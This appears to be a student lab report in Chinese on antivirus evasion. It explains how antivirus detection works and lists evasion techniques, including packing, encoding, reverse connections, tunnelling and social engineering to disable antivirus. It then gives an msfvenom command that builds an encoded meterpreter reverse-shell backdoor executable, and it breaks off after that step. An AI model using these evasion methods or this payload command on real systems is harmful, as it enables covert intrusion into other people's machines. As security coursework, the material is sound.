一、免杀原理及基础问题回答
1.免杀原理
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
- 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
- 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
2.基础问题回答
杀软是如何检测出恶意代码的?
- 基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
- 启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。(非精确)
- 基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。(非精确)
免杀是做什么?
- 是对恶意软件做处理,让它不被杀毒软件所检测
- 在渗透测试中也有应用
免杀的基本方法有哪些?
- 改变特征码
只有EXE——加壳(压缩壳 加密壳)
有shellcode(像Meterpreter)——利用encode进行编码
有源代码——用其他语言进行重写再编译
veil-evasion
半手工
- 改变行为
通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
3.免杀效果评价
利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
二、实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
使用msf编码器生成各种后门程序及检测
1.正确使用msf编码器,生成exe文件
在实验二中使用msf生成了后门程序,我们可以使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
用VirusTotal扫描后结果如下:
Virscan网站的扫描结果如下:
由此可见不加处理的后门程序很容易被大部分杀软检测出来,因此我们尝试对其进行一次到多次编码,并进行检测。
一次编码
使用命令:-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使’x00’不出现在shellcode中,因为shellcode以’x00’为结束符。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.230.128 LPORT=5318 -f exe > met-encoded.exe
VirusTotal网站的扫描结果